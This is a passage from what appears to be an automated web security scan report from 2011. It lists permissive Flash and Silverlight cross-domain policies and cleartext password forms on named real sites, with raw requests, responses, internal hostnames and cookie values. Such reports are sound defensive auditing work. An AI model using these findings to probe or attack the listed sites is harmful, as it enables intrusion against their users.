Host: adadvisor.net

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:54:08 GMT
Connection: close
Server: AAWebServer
P3P: policyref="http://www.adadvisor.net/w3c/p3p.xml",CP="NOI NID"
Content-Length: 478
Content-Type: Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="
...[SNIP]...
<allow-access-from domain="*.tubemogul.com" />
...[SNIP]...
<allow-access-from domain="*.adap.tv" />
...[SNIP]...
<allow-access-from domain="*.videoegg.com" />
...[SNIP]...
<allow-access-from domain="*.tidaltv.com" />
...[SNIP]...

3.18. https://adwords.google.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://adwords.google.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: adwords.google.com

Response

HTTP/1.0 200 OK
Expires: Fri, 09 Sep 2011 19:08:19 GMT
Date: Thu, 08 Sep 2011 19:08:19 GMT
Content-Type: text/x-cross-domain-policy
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Cache-Control: public, max-age=86400
Age: 2220

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="maps.gstatic.com" />
<allow-access-from domain="maps.gstatic.cn" />
<allow-access-from domain="*.google.com" />
<allow-access-from domain="*.google.ae" />
<allow-access-from domain="*.google.at" />
<allow-access-from domain="*.google.be" />
<allow-access-from domain="*.google.ca" />
<allow-access-from domain="*.google.ch" />
<allow-access-from domain="*.google.cn" />
<allow-access-from domain="*.google.co.il" />
<allow-access-from domain="*.google.co.in" />
<allow-access-from domain="*.google.co.jp" />
<allow-access-from domain="*.google.co.kr" />
<allow-access-from domain="*.google.co.nz" />
<allow-access-from domain="*.google.co.uk" />
<allow-access-from domain="*.google.co.ve" />
<allow-access-from domain="*.google.co.za" />
<allow-access-from domain="*.google.com.ar" />
<allow-access-from domain="*.google.com.au" />
<allow-access-from domain="*.google.com.br" />
<allow-access-from domain="*.google.com.gr" />
<allow-access-from domain="*.google.com.hk" />
<allow-access-from domain="*.google.com.ly" />
<allow-access-from domain="*.google.com.mx" />
<allow-access-from domain="*.google.com.my" />
<allow-access-from domain="*.google.com.pe" />
<allow-access-from domain="*.google.com.ph" />
<allow-access-from domain="*.google.com.pk" />
<allow-access-from domain="*.google.com.ru" />
<allow-access-from domain="*.google.com.sg" />
<allow-access-from domain="*.google.com.tr" />
<allow-access-from domain="*.google.com.tw" />
<allow-access-from domain="*.google.com.ua" />
<allow-access-from domain="*.google.com.vn" />
<allow-access-from domain="*.google.de" />
<allow-access-from domain="*.google.dk" />
<allow-access-from domain="*.google.es" />
<allow-access-from domain="*.google.fi" />
<allow-access-from domain="*.google.fr" />
<allow-access-from domain="*.google.it" />
<allow-access-from domain="*.google.lt" />
<allow-access-from domain="*.google.lv" />
<allow-access-from domain="*.google.nl" />
<allow-access-from domain="*.google.no" />
<allow-access-from domain="*.google.pl" />
<allow-access-from domain="*.google.pt" />
<allow-access-from domain="*.google.ro" />
<allow-access-from domain="*.google.se" />
<allow-access-from domain="*.google.sk" />
<allow-access-from domain="*.youtube.com" />
<allow-access-from domain="*.ytimg.com" />
<allow-access-from domain="*.doubleclick.com" />
...[SNIP]...

3.19. http://finance.yahoo.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://finance.yahoo.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: finance.yahoo.com

Response

HTTP/1.0 200 OK
Date: Thu, 08 Sep 2011 19:46:52 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Last-Modified: Thu, 05 Jun 2008 01:38:47 GMT
Accept-Ranges: bytes
Content-Length: 161
Vary: Accept-Encoding
Content-Type: application/xml
Age: 0
Server: YTS/1.20.7

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.yahoo.com" />
<allow-access-from domain="us.js2.yimg.com" />
</cross-domain-policy>

3.20. http://picasaweb.google.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://picasaweb.google.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: picasaweb.google.com

Response

HTTP/1.0 200 OK
Expires: Fri, 09 Sep 2011 19:45:22 GMT
Date: Thu, 08 Sep 2011 19:45:22 GMT
Cache-Control: public, max-age=86400
Content-Type: text/x-cross-domain-policy
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.google.com" />
<allow-access-from domain="*.google.de" />
<allow-access-from domain="*.google.ch" />
<allow-access-from domain="*.google.at" />
<allow-access-from domain="*.google.it" />
<allow-access-from domain="*.google.co.jp" />
<allow-access-from domain="*.google.co.kr" />
<allow-access-from domain="*.google.pl" />
<allow-access-from domain="*.google.com.br" />
<allow-access-from domain="*.google.ru" />
<allow-access-from domain="*.google.es" />
<allow-access-from domain="*.google.com.tw" />
<allow-access-from domain="*.google.com.hk" />
<allow-access-from domain="*.google.com.tr" />
<allow-access-from domain="*.google.co.th" />
<allow-access-from domain="*.google.dk" />
<allow-access-from domain="*.google.fi" />
<allow-access-from domain="*.google.no" />
<allow-access-from domain="*.google.se" />
<allow-access-from domain="*.google.bg" />
<allow-access-from domain="*.google.hr" />
<allow-access-from domain="*.google.cz" />
<allow-access-from domain="*.google.gr" />
<allow-access-from domain="*.google.co.in" />
<allow-access-from domain="*.google.hu" />
<allow-access-from domain="*.google.co.id" />
<allow-access-from domain="*.google.lv" />
<allow-access-from domain="*.google.lt" />
<allow-access-from domain="*.google.pt" />
<allow-access-from domain="*.google.ro" />
<allow-access-from domain="*.google.sk" />
<allow-access-from domain="*.google.si" />
<allow-access-from domain="*.google.com.ph" />
<allow-access-from domain="*.google.com.ua" />
<allow-access-from domain="*.google.com.vn" />
<allow-access-from domain="*.google.co.uk" />
<allow-access-from domain="*.google.com.au" />
<allow-access-from domain="*.google.ca" />
<allow-access-from domain="*.google.nl" />
<allow-access-from domain="*.google.be" />
<allow-access-from domain="*.google.fr" />
...[SNIP]...

3.21. http://server.iad.liveperson.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://server.iad.liveperson.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: server.iad.liveperson.net

Response

HTTP/1.1 200 OK
Content-Length: 526
Content-Type: text/xml
Content-Location: http://server.iad.liveperson.net/crossdomain.xml
Last-Modified: Thu, 23 Oct 2008 22:13:48 GMT
Accept-Ranges: bytes
ETag: "076249f5c35c91:2773"
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:45:21 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"
...[SNIP]...
<allow-access-from domain="*.neogames-tech.com" secure="false" />
...[SNIP]...
<allow-access-from domain="secure.neogames-tech.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="secure.qa.neogames-tech.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="secure.st.neogames-tech.com" secure="false"/>
...[SNIP]...

3.22. https://server.iad.liveperson.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://server.iad.liveperson.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: server.iad.liveperson.net

Response

HTTP/1.1 200 OK
Content-Length: 526
Content-Type: text/xml
Content-Location: https://server.iad.liveperson.net/crossdomain.xml
Last-Modified: Thu, 23 Oct 2008 22:13:48 GMT
Accept-Ranges: bytes
ETag: "076249f5c35c91:2b2b"
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:46:58 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"
...[SNIP]...
<allow-access-from domain="*.neogames-tech.com" secure="false" />
...[SNIP]...
<allow-access-from domain="secure.neogames-tech.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="secure.qa.neogames-tech.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="secure.st.neogames-tech.com" secure="false"/>
...[SNIP]...

3.23. http://us.rd.yahoo.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://us.rd.yahoo.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Request

GET /crossdomain.xml HTTP/1.0
Host: us.rd.yahoo.com

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:45:18 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Last-Modified: Fri, 04 Aug 2006 08:27:42 GMT
Accept-Ranges: bytes
Content-Length: 228
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.yahoo.com" secure="false" />
...[SNIP]...

3.24. http://www.adobe.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.adobe.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.adobe.com

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Wed, 12 Jan 2011 18:55:31 GMT
ETag: "144-bec64ec0"
Accept-Ranges: bytes
Cache-Control: max-age=21600
Expires: Wed, 07 Sep 2011 20:18:10 GMT
Keep-Alive: timeout=5, max=500
Content-Type: text/x-cross-domain-policy
Connection: close
Date: Thu, 08 Sep 2011 19:46:58 GMT
Age: 191
Content-Length: 324

<?xml version="1.0"?>
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="by-content-type"/>
   <allow-access-from domain="*.macromedia.com" />
   <allow-access-from domain="*.adobe.com" />
   <allow-access-from domain="*.photoshop.com" />
   <allow-access-from domain="*.acrobat.com" />
...[SNIP]...

3.25. http://www.facebook.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.facebook.com

Response

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy;charset=utf-8
X-FB-Server: 10.55.4.40
Connection: close
Content-Length: 1527

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="master-only" /
...[SNIP]...
<allow-access-from domain="s-static.facebook.com" />
   <allow-access-from domain="static.facebook.com" />
   <allow-access-from domain="static.api.ak.facebook.com" />
   <allow-access-from domain="*.static.ak.facebook.com" />
   <allow-access-from domain="s-static.thefacebook.com" />
   <allow-access-from domain="static.thefacebook.com" />
   <allow-access-from domain="static.api.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.fbcdn.com" />
   <allow-access-from domain="s-static.ak.fbcdn.net" />
   <allow-access-from domain="*.static.ak.fbcdn.net" />
   <allow-access-from domain="s-static.ak.facebook.com" />
...[SNIP]...
<allow-access-from domain="www.new.facebook.com" />
   <allow-access-from domain="register.facebook.com" />
   <allow-access-from domain="login.facebook.com" />
   <allow-access-from domain="ssl.facebook.com" />
   <allow-access-from domain="secure.facebook.com" />
   <allow-access-from domain="ssl.new.facebook.com" />
   <allow-access-from domain="static.ak.fbcdn.net" />
   <allow-access-from domain="fvr.facebook.com" />
   <allow-access-from domain="www.latest.facebook.com" />
   <allow-access-from domain="www.inyour.facebook.com" />
   <allow-access-from domain="www.beta.facebook.com" />
...[SNIP]...

3.26. http://www.nasdaqtrader.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.nasdaqtrader.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.nasdaqtrader.com

Response

HTTP/1.1 200 OK
Content-Length: 478
Content-Type: text/xml
Content-Location: http://www.nasdaqtrader.com/crossdomain.xml
Last-Modified: Wed, 14 Oct 2009 18:11:02 GMT
Accept-Ranges: bytes
ETag: "e0afa2b0f94cca1:2e7f"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:46:51 GMT
Connection: close

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.nasdaqtrader.com" secure="false" />
<allow-access-from domain="*.nasdaqtrader.com" secure="true" />
<allow-access-from domain="*.nasdaqomxtrader.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.nasdaqomxtrader.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.nasdaqworkstation.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.nasdaqworkstation.com" secure="true" />
...[SNIP]...

3.27. http://www.thefinancials.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.thefinancials.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.thefinancials.com

Response

HTTP/1.1 200 OK
Content-Length: 632
Content-Type: text/xml
Last-Modified: Thu, 07 Jul 2011 21:14:58 GMT
Accept-Ranges: bytes
ETag: "c03d51edea3ccc1:790"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:25:08 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.doubleclick.com" />
<allow-access-from domain="*.doubleclick.net" />
<allow-access-from domain="*.dartmotif.com" />
<allow-access-from domain="*.2mdn.net" />
<allow-access-from domain="*.pureinvestment.net" />
<allow-access-from domain="*.buzinessware.com" />
<allow-access-from domain="*.nationalgoldgroup.com" />
<allow-access-from domain="*.rfdevsite.com" />
<allow-access-from domain="*.jpmorganglobal.com" />
...[SNIP]...

3.28. http://www.youtube.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.youtube.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/x-cross-domain-policy
Last-Modified: Fri, 03 Jun 2011 20:25:01 GMT
Date: Thu, 08 Sep 2011 19:46:53 GMT
Expires: Thu, 08 Sep 2011 19:46:53 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.youtube.com" />
<allow-access-from domain="s.ytimg.com" />
...[SNIP]...

3.29. https://account.optionsxpress.com/crossdomain.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from specific other domains, and allows access from specific subdomains.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: account.optionsxpress.com

Response

HTTP/1.1 200 OK
Content-Length: 771
Content-Type: text/xml
Last-Modified: Mon, 18 Jul 2011 16:07:35 GMT
Accept-Ranges: bytes
ETag: "15d87cf6445cc1:e65"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=8C6E114D48C6D550A47B7E8C7FE7E0AE; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:22 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <allow-access-from domain="optionsxpress.com"/>
   <allow-access-from domain="www.optionsxpress.com"/>
   <allow-access-from domain="oxint.optionsxpress.com"/>
...[SNIP]...
<allow-access-from domain="www.optionsxpress.ca"/>
   <allow-access-from domain="ox.design.optionsxpress.com"/>
   <allow-access-from domain="plr.design.optionsxpress.com"/>
   <allow-access-from domain="10.12.137.51"/>
   <allow-access-from domain="mouaweb1"/>
   <allow-access-from domain="mouabx1"/>
   <allow-access-from domain="mouawebau1"/>
   <allow-access-from domain="mouaint1"/>
...[SNIP]...

3.30. https://docs.google.com/crossdomain.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://docs.google.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: docs.google.com

Response

HTTP/1.0 200 OK
Expires: Fri, 09 Sep 2011 11:34:32 GMT
Date: Thu, 08 Sep 2011 11:34:32 GMT
Content-Type: text/x-cross-domain-policy
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Cache-Control: public, max-age=86400
Age: 29546

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="video.google.com" /><allow-access-from domain="s.ytimg.com" />
...[SNIP]...

3.31. http://pfgbest.app5.hubspot.com/crossdomain.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pfgbest.app5.hubspot.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from specific other domains.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: pfgbest.app5.hubspot.com

Response

HTTP/1.1 200 OK
Content-Length: 206
Content-Type: text/xml
Last-Modified: Wed, 17 Oct 2007 22:47:20 GMT
Accept-Ranges: bytes
ETag: "04cb8acf11c81:111fc"
Server: Microsoft-IIS/6.0
P3P: policyref="http://www.hubspot.com/w3c/p3p.xml", CP="CURa ADMa DEVa TAIa PSAa PSDa OUR IND DSP NON COR"
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 20:05:41 GMT
Connection: close

<?xml version="1.0" ?>
<!DOCTYPE cross-domain-policy (View Source for full doctype...)>
- <cross-domain-policy>
<allow-access-from domain="www.bluemedia.com" secure="true" />
</cross-domain-p
...[SNIP]...

3.32. http://stats.manticoretechnology.com/crossdomain.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://stats.manticoretechnology.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: stats.manticoretechnology.com

Response

HTTP/1.1 200 OK
Content-Length: 266
Content-Type: text/xml
Last-Modified: Mon, 29 Sep 2008 15:46:03 GMT
Accept-Ranges: bytes
ETag: "8074787a4a22c91:651"
Server: Microsoft-IIS/6.0
P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" policyref="/w3c/p3p.xml"
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:26:24 GMT
Connection: close

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="aetnafeds.jellyvision.com" />
<allow-access-from domain="staging.aetnafeds.jellyvision.com" />
<allow-access-from domain="sandbox.aetnafeds.jellyvision.com" />
...[SNIP]...

3.33. http://www.optionsxpress.com/crossdomain.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.optionsxpress.com

Response

HTTP/1.1 200 OK
Content-Length: 771
Content-Type: text/xml
Last-Modified: Mon, 18 Jul 2011 16:07:35 GMT
Accept-Ranges: bytes
ETag: "15d87cf6445cc1:11f7"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=536F72C044CD5B46AABFEAA014EA70D3; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:39 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <allow-access-from domain="optionsxpress.com"/>
   <al
...[SNIP]...
<allow-access-from domain="oxint.optionsxpress.com"/>
...[SNIP]...
<allow-access-from domain="www.optionsxpress.ca"/>
   <allow-access-from domain="ox.design.optionsxpress.com"/>
   <allow-access-from domain="plr.design.optionsxpress.com"/>
   <allow-access-from domain="10.12.137.51"/>
   <allow-access-from domain="mouaweb1"/>
   <allow-access-from domain="mouabx1"/>
   <allow-access-from domain="mouawebau1"/>
   <allow-access-from domain="mouaint1"/>
...[SNIP]...

4. Silverlight cross-domain policy previous next
There are 2 instances of this issue:

http://contentcafe2.btol.com/clientaccesspolicy.xml
http://stats.optionsxpress.com/clientaccesspolicy.xml

Issue background

The Silverlight cross-domain policy controls whether Silverlight client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Silverlight cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

4.1. http://contentcafe2.btol.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://contentcafe2.btol.com
Path:	/clientaccesspolicy.xml

Issue detail

The application publishes a Silverlight cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: contentcafe2.btol.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Wed, 07 Jul 2010 15:44:32 GMT
Accept-Ranges: bytes
ETag: "3d984d4beb1dcb1:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 20:00:16 GMT
Connection: close
Content-Length: 313

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
   <cross-domain-access>
       <policy>
           <allow-from http-request-headers="*">
               <domain uri="*"/>
           </allow-from>
           <grant-to>
               <reso
...[SNIP]...

4.2. http://stats.optionsxpress.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://stats.optionsxpress.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: stats.optionsxpress.com

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:49 GMT
Server: Omniture DC/2.0.0
xserver: www399
Connection: close
Content-Type: text/html

<access-policy>
   <cross-domain-access>
       <policy>
           <allow-from http-request-headers="*">
               <domain uri="*" />
           </allow-from>
           <grant-to>
               <resource path="/" include-subpaths="true" />
           </
...[SNIP]...

5. Cleartext submission of password previous next
There are 2 instances of this issue:

http://webstation.barchart.com/eflogin.php
http://www.futurestrading.com/log-in.html

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

5.1. http://webstation.barchart.com/eflogin.php previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://webstation.barchart.com
Path:	/eflogin.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://webstation.barchart.com/eflogin.php

The form contains the following password field:

txtPassword

Request

GET /eflogin.php HTTP/1.1
Host: webstation.barchart.com
Proxy-Connection: keep-alive
Referer: http://www.efutures.com/services/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:34:29 GMT
Server: Apache/2.2.15 (Fedora)
X-Powered-By: PHP/5.3.3
Expires: 0
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3414
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<script language="javascript" type="text/javascript" src="js/DetectEnv.js"></sc
...[SNIP]...
<div id="main" >
<form action="eflogin.php" method="post">
<div id="divLogin" style="background-color: #FFFFFF; border: 2px solid #336699; height: 330px; position: absolute; width: 438px; font: 12px verdana; top: 0px;">
...[SNIP]...
</span>
<input type="password" id="txtPassword" name="txtPassword" value="" style="left: 100px; position: absolute; top: 120px; width: 150px; background-color: #eaeaea;" />
<input type="submit" value="Login" style="left: 112px; position: absolute; top: 150px; width: 50px;" />
...[SNIP]...

5.2. http://www.futurestrading.com/log-in.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.futurestrading.com
Path:	/log-in.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.futurestrading.com/log-in.html

The form contains the following password field:

passwd

Request

GET /log-in.html HTTP/1.1
Host: www.futurestrading.com
Proxy-Connection: keep-alive
Referer: http://www.futurestrading.com/managed-accounts/what-are-managed-futures.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: af954db55ff4d54a88e086fc2a1751f0=f7f0571d6de3a89fad76557c5546f2e6; __utma=221442575.134975660.1315527952.1315527952.1315530024.2; __utmb=221442575.1.10.1315530024; __utmc=221442575; __utmz=221442575.1315530024.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=futures%20trading

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:59:51 GMT
Server: Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Thu, 08 Sep 2011 19:59:52 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 31326

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb">
<head>
<meta h
...[SNIP]...
<div id="content_inner" >


   <form action="/log-in.html" method="post" name="com-login" id="com-form-login">
